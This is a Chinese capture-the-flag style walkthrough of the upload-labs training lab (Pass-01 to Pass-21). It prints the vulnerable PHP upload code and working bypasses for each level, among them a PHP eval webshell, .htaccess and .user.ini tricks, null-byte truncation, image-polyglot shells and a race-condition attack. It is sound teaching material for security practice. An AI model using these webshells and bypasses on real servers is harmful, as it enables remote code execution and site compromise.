文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集

~目录~

  • 开始
  • Pass-01 JS绕过
  • Pass-02 Content-Type绕过
  • Pass-03 部分黑名单绕过
  • Pass-04 .htaccess绕过
  • Pass-05 .user.ini绕过+.空格.绕过
  • Pass-06 大小写绕过
  • Pass-07 空格绕过
  • Pass-08 点绕过
  • Pass-09 ::$DATA绕过
  • Pass-10 .空格.绕过
  • Pass-11 双写绕过
  • Pass-12 GET型00截断绕过
  • Pass-13 POST型00截断绕过
  • Pass-14 图片马绕过
  • Pass-15 getimagesize()-图片马绕过
  • Pass-16 exif_imagetype()-图片马绕过
  • Pass-17 二次渲染绕过
  • Pass-18 条件竞争绕过
  • Pass-19 条件竞争&Apache文件解析漏洞绕过
  • Pass-20 POST型00截断绕过+末尾/.绕过+. 空格绕过(或许还有更多方法)
  • Pass-21 数组+/绕过
  • 总结

开始

最新的源码有21关,但网上大多数教程都是20关的,原因是作者新增了一个第五关,之后的每关都往后推了一位

因为作者给出了源码,所以大部分关卡都是白盒测试

PS:原本需要在upload-labs-master目录下创建一个upload目录,但现在作者已经创建好了
PS:有时候会提示upload文件夹被删除,再建一个

下载完解压到phpstudy www目录下
浏览器输入localhost/upload-labs-master

文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第1张图片

Pass-01 JS绕过

尝试上传一个php文件,发现存在上传限制

<?php 
@eval($_POST['a']);
phpinfo();
?>

文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第2张图片

查看源码,发现存在js限制

function checkFile() {
     
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
     
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
     
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

有几种方法:

  1. 抓包
    上传一个jpg文件,抓包,将webshell.jpg后缀改为php
    文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第3张图片
    放包,复制图片地址打开
    文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第4张图片
  2. 禁用浏览器js
    谷歌:设置-隐私设置和安全性-网站设置-内容-JavaScript-禁用
    火狐:浏览器输入about:config搜索javascript,javascript.enabled改为false
    然后就可以上传php文件
    文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第5张图片

尝试蚁剑连接,成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第6张图片

Pass-02 Content-Type绕过

上传php文件,提示文件类型不正确
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第7张图片
查看源码,发现存在对['upload_file']['type']的检测

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
     
    if (file_exists(UPLOAD_PATH)) {
     
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
     
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
     
                $is_upload = true;
            } else {
     
                $msg = '上传出错!';
            }
        } else {
     
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
     
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

抓包,将application/octet-stream改为image/jpegimage/pngimage/gif,三者均为图片类型,放包后可以进行上传

文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第8张图片

原理:

什么是MIME类型?
在把输出结果传送到浏览器上的时候,浏览器必须启动适当的应用程序来处理这个输出文档。这可以通过多种类型MIME(多功能网际邮件扩充协议)来完成。
在HTTP中,MIME类型被定义在Content-Type header中。Content-Type(内容类型)一般是指网页中存在的Content-Type,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件,这就是经常看到一些 PHP网页点击的结果却是下载一个文件或一张图片的原因。Content-Type 标头告诉客户端实际返回的内容的内容类型。

常见的媒体格式类型如下:

text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式

以application开头的媒体格式类型:

application/xhtml+xml :XHTML格式
application/xml: XML数据格式
application/atom+xml :Atom XML聚合格式
application/json: JSON数据格式
application/pdf:pdf格式
application/msword : Word文档格式
application/octet-stream : 二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded : 中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)

另外一种常见的媒体格式是上传文件之时使用的:

multipart/form-data : 需要在表单中进行文件上传时,就需要使用该格式

Pass-03 部分黑名单绕过

上传php文件,提示不允许上传.asp,.aspx,.php,.jsp后缀文件!
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第9张图片
但是可以上传.phtml .phps .php5 .pht后缀文件
前提是apache的httpd.conf中有如下配置代码
如果没有就去配置一下

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

直接写一个php5文件,上传成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第10张图片

Pass-04 .htaccess绕过

黑名单拒绝了几乎所有后缀名
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第11张图片
上传一个.htaccess文件,内容为:

AddType application/x-httpd-php .jpg

然后上传一个.jpg文件,内容为一句话木马

<?php 
@eval($_POST['a']);
echo phpinfo();
?>

上传成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第12张图片

原理:
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。

AddType application/x-httpd-php .xxx该语句将.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件解析,还有一种写法是SetHandler application/x-httpd-php,该语句会把所有文件当作php文件解析

PS:使用SetHandler application/x-httpd-php时,需要抓包,将.htaccess的文件名删除,然后放包即可上传成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第13张图片

Pass-05 .user.ini绕过+.空格.绕过

查看提示,上传目录存在php文件
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第14张图片
所以本关可以使用 .user.ini绕过黑名单:

使用条件:

(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式,这就要求我们phpstudy下载nts版本的

(2)上传目录下要有可执行的php文件

原理:php中有一个默认配置文件php.ini,其中包括了很多php的配置,而自 PHP 5.3.0起,PHP 支持基于每个目录的 INI 文件配置。
在它支持自定义的配置模式中,auto_append_fileauto_prepend_file,这两个选项起到了文件包含的作用,类似于调用了一个require函数。auto_prepend_file指定在主文件前自动解析文件的名称;auto_append_file指定在主文件后自动解析文件的名称,如果主文件以exit()结尾的话,则不会进行自动追加。
因此我们可以通过上传.user.ini配置文件,使其上传文件夹中的php文件能够自动包含某个文件。

我们先上传一个.user.ini文件,内容为auto_prepend_file=webshell.jpg
表示该目录及其子目录下所有的php文件在执行时,自动在头部包含一个webshell.jpg文件。
然后上传一个包含一句话木马的webshell.jpg文件即可

关于.user.ini 绕过黑名单可以看看这个

本关还有一个方法:
我们先看一下源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
     
    if (file_exists(UPLOAD_PATH)) {
     
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
     
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
     
                $is_upload = true;
            } else {
     
                $msg = '上传出错!';
            }
        } else {
     
            $msg = '此文件类型不允许上传!';
        }
    } else {
     
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

上传一个php文件,抓包,后缀名加.空格.,放包
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第15张图片
上传成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第16张图片

Pass-06 大小写绕过

查看源码,发现可以通过大小写绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
     
    if (file_exists(UPLOAD_PATH)) {
     
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
     
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
     
                $is_upload = true;
            } else {
     
                $msg = '上传出错!';
            }
        } else {
     
            $msg = '此文件类型不允许上传!';
        }
    } else {
     
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

直接修改后缀名为.PHP,上传成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第17张图片

Pass-07 空格绕过

查看源码,发现可以通过末尾加空格绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
     
    if (file_exists(UPLOAD_PATH)) {
     
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
     
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
     
                $is_upload = true;
            } else {
     
                $msg = '上传出错!';
            }
        } else {
     
            $msg = '此文件不允许上传';
        }
    } else {
     
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

上传一个php文件,抓包,后缀加空格,放包文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第18张图片
上传成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第19张图片

Pass-08 点绕过

查看源码,发现可以通过点绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
     
    if (file_exists(UPLOAD_PATH)) {
     
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
     
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
     
                $is_upload = true;
            } else {
     
                $msg = '上传出错!';
            }
        } else {
     
            $msg = '此文件类型不允许上传!';
        }
    } else {
     
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

抓包,文件后缀名加点,放包
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第20张图片
上传成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第21张图片

Pass-09 ::$DATA绕过

查看源码,发现下面这句话无了

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
     
    if (file_exists(UPLOAD_PATH)) {
     
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
     
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
     
                $is_upload = true;
            } else {
     
                $msg = '上传出错!';
            }
        } else {
     
            $msg = '此文件类型不允许上传!';
        }
    } else {
     
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

本关没有对后缀名中的::$DATA进行过滤。在php+windows的情况下:如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名且保持::$DATA之前的文件名。利用windows特性,可在后缀名中加::$DATA绕过
但是发现无法访问
在这里插入图片描述
去掉::$DATA,OK
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第22张图片

Pass-10 .空格.绕过

查看源码,发现与第五关的区别就在
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第23张图片

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
     
    if (file_exists(UPLOAD_PATH)) {
     
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
     
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
     
                $is_upload = true;
            } else {
     
                $msg = '上传出错!';
            }
        } else {
     
            $msg = '此文件类型不允许上传!';
        }
    } else {
     
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

直接.空格.就可以绕过
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第24张图片

Pass-11 双写绕过

查看源码,发现str_replace()函数把文件后缀名替换为空,这不由得让我想起xss里的类似情况,可以采取双写绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
     
    if (file_exists(UPLOAD_PATH)) {
     
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
     
            $is_upload = true;
        } else {
     
            $msg = '上传出错!';
        }
    } else {
     
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

文件后缀名改为.pphphp
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第25张图片
成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第26张图片

Pass-12 GET型00截断绕过

查看源码,$_GET['sava_path']随机时间函数拼接成文件存储路径。这里构造文件存储路径利用了GET传入,导致服务器最终存储的文件名可控。
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
如在1.php文件名改为1.php%00.jpg会被解析为1.php,这样就能绕过后缀限制,上传shell

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
     
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
     
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
     
            $is_upload = true;
        } else {
     
            $msg = '上传出错!';
        }
    } else{
     
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

strrpos()函数查找字符串在另一字符串中最后一次出现的位置
move_uploaded_file()函数将上传的文件移动到新位置

不过需要满足两个条件:
1、php版本小于5.3.29(直接用5.2.17就行)
2、php.ini的magic_quotes_gpc为OFF状态
PS:网上大部分教程都说小于5.3.4就可以,亲测5.3.29不行,即使magic_quotes_gpc为OFF状态
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第27张图片

首先上传一个一句话木马的jpg文件,抓包
..upload/后面+自己想修改的文件名+.php%00
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第28张图片

发现页面未找到
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第29张图片
删掉url中php后面的内容,成功
在这里插入图片描述

Pass-13 POST型00截断绕过

本关的条件与之前相同,php版本直接用5.2.17,php.ini的magic_quotes_gpc为OFF状态
查看源码,发现与12关的区别是save_path的传入方式是POST,因为POST不像GET能URL解码%00,所以我们需要在十六进制中修改

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
     
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
     
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
     
            $is_upload = true;
        } else {
     
            $msg = "上传失败";
        }
    } else {
     
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

我们在/upload/1.php后加一个.
这里的 . 纯粹只是一个标记符号,便于我们找到位置
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第30张图片
在hex中将他改为00
在这里插入图片描述
放包,发现页面未找到
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第31张图片
删掉url中php后面的内容,成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第32张图片

Pass-14 图片马绕过

发现任务变了,要我们上传图片马,并且自带一个文件包含漏洞
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第33张图片
尝试直接上传抓包改后缀,失败
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第34张图片
提示我们检查图标内容开头2个字节
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第35张图片
GIF:
直接构造gif文件头,就可以上传成功

GIF89a
<?php 
@eval($_POST['a']);
echo phpinfo();
?>

使用文件包含漏洞+gif文件名,成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第36张图片
JPG&PNG:

生成图片马:

copy 1.jpg/b + webshell.php/a webshell.jpg
copy 1.png/b + webshell.php/a webshell.png

其中/b表示以二进制方式处理,/a表示以ascii码方式处理
在这里插入图片描述
可以看到图片末尾加入了php代码
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第37张图片
上传成功,利用文件包含漏洞,成功
PS:有些图片,里面存在特殊字符,使用文件包含的时候可能会出错,遇到报错的话,多找几张图片来试一试
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第38张图片
蚁剑连接,成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第39张图片

Pass-15 getimagesize()-图片马绕过

getimagesize()函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条E_WARNING级的错误信息。
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第40张图片
总之就是绕过方法和上面一样

Pass-16 exif_imagetype()-图片马绕过

exif_imagetype()读取一个图像的第一个字节并检查其签名。如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。exif_imagetype()getimagesize()返回快得多。

文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第41张图片

需要开启php_exif模块:

1.在php.ini文件中找到;extension=php_exif.dll,去掉前面的分号
2.在php.ini文件中找到;extension=php_mbstring.dll,去掉前面的分号,并将此行移动到extension=php_exif.dll之前,使之首先加载*。
3.找到[exif]段,把下面语句的分号去掉。

;exif.encode_unicode = ISO-8859-15 
;exif.decode_unicode_motorola = UCS-2BE 
;exif.decode_unicode_intel = UCS-2LE 
;exif.encode_jis = 
;exif.decode_jis_motorola = JIS
;exif.decode_jis_intel = JIS 

4.重启php

之后绕过方法和上面一样

Pass-17 二次渲染绕过

GIF:

经过测试,发现gif可以上传,但是不能进行文件包含,因为图片被二次渲染
关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。

利用burp的比较模块,可以对比上传前和上传后哪些部分是没变的。
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第42张图片
然后我们在未变化的区域把写入
在这里插入图片描述
删掉GIF89a前面的内容,保存

PS:有十六进制编辑器的话更方便,推荐WinHex
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第43张图片
即可执行文件包含
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第44张图片
PNG&JPG:具体看这篇

Pass-18 条件竞争绕过

本关是代码审计,所以我们先来看代码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
     
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
     
        if(in_array($file_ext,$ext_arr)){
     
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
     
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
     
        $msg = '上传出错!';
    }
}

move_uploaded_file()函数将上传文件临时保存,再进行判断,如果不在白名单里则unlink()删除,在的话就rename()重命名,所以这里存在条件竞争。

由此也就产生了漏洞,会有一个短暂的时间将我们上传的webshell存储在目录下,但是这个时间相当相当短暂,以至于,你打开上传目录,点击上传文件,你连影子都看不到就已经没了,所以这个时候我们先抓包,然后发送到intruder模块。

点击clear去除所有参数,然后payload选择无,可以设置次数,根据电脑性能决定
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第45张图片文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第46张图片
线程改为20,然后start attack
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第47张图片
之后就是不断刷新http://127.0.0.1/upload-labs/upload/webshell.php,总会出现phpinfo
为了截图,F5都要按坏了…
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第48张图片

Pass-19 条件竞争&Apache文件解析漏洞绕过

源码太长就不贴了,本关是利用Apache的解析漏洞,不管最后后缀为什么,只要是.php.*结尾,就会被Apache服务器解析成php文件
提交类似webshell.php.7z的文件,配合条件竞争上传,同18
Apache解析漏洞看这个

本关的源码有些问题
Pass-19的·myupload·文件中
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第49张图片

103行 作者在$dir后面漏掉了'/'
如果不加
上传的webshell打开为…/uploadxxx.php
强迫症可以自己加上

Pass-20 POST型00截断绕过+末尾/.绕过+. 空格绕过(或许还有更多方法)

多了一个保存名称

上传.php文件,保存为.jpg文件,成功
上传.jpg文件,保存为.php文件,失败
上传.php文件,随便输入一个后缀名,或者是不写后缀名,保存成功
说明是黑名单验证

查看源码,是POST型

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
     
    if (file_exists(UPLOAD_PATH)) {
     
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
     
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
      
                $is_upload = true;
            }else{
     
                $msg = '上传出错!';
            }
        }else{
     
            $msg = '禁止保存为该类型文件!';
        }

    } else {
     
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

pathinfo()返回一个关联数组包含有 path 的信息

代码审计,POST型传数据,此关依旧可以00截断绕过,hex将1前的.(hex值为2e)改为00

参考Pass-13
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第50张图片
记得去掉url中php后面的内容
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第51张图片
还有几个方法

move_uploaded_file()函数会忽略掉文件末尾的/.
所以上传文件名为webshell.php/.即可绕过

Apache文件解析漏洞同样可以利用,参考Pass-19

.空格同样可以绕过,参考Pass-05
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第52张图片

Pass-21 数组+/绕过

我们还是先查看源码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
     
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
     
        $msg = "禁止上传该类型文件!";
    }else{
     
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
     
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
     
            $msg = "禁止上传该后缀文件!";
        }else{
     
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
     
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
     
                $msg = "文件上传失败!";
            }
        }
    }
}else{
     
    $msg = "请选择要上传的文件!";
}

首先,判断文件的Content-Type类型是否在白名单中,如果不在禁止上传,如果在的话,继续往下执行。

如果POST接收的save_name为空,则赋值为$_FILES['upload_file']['name'],不为空就为本身

explode() 函数把字符串打散为数组
end()函数将 array的内部指针移动到最后一个单元并返回其值
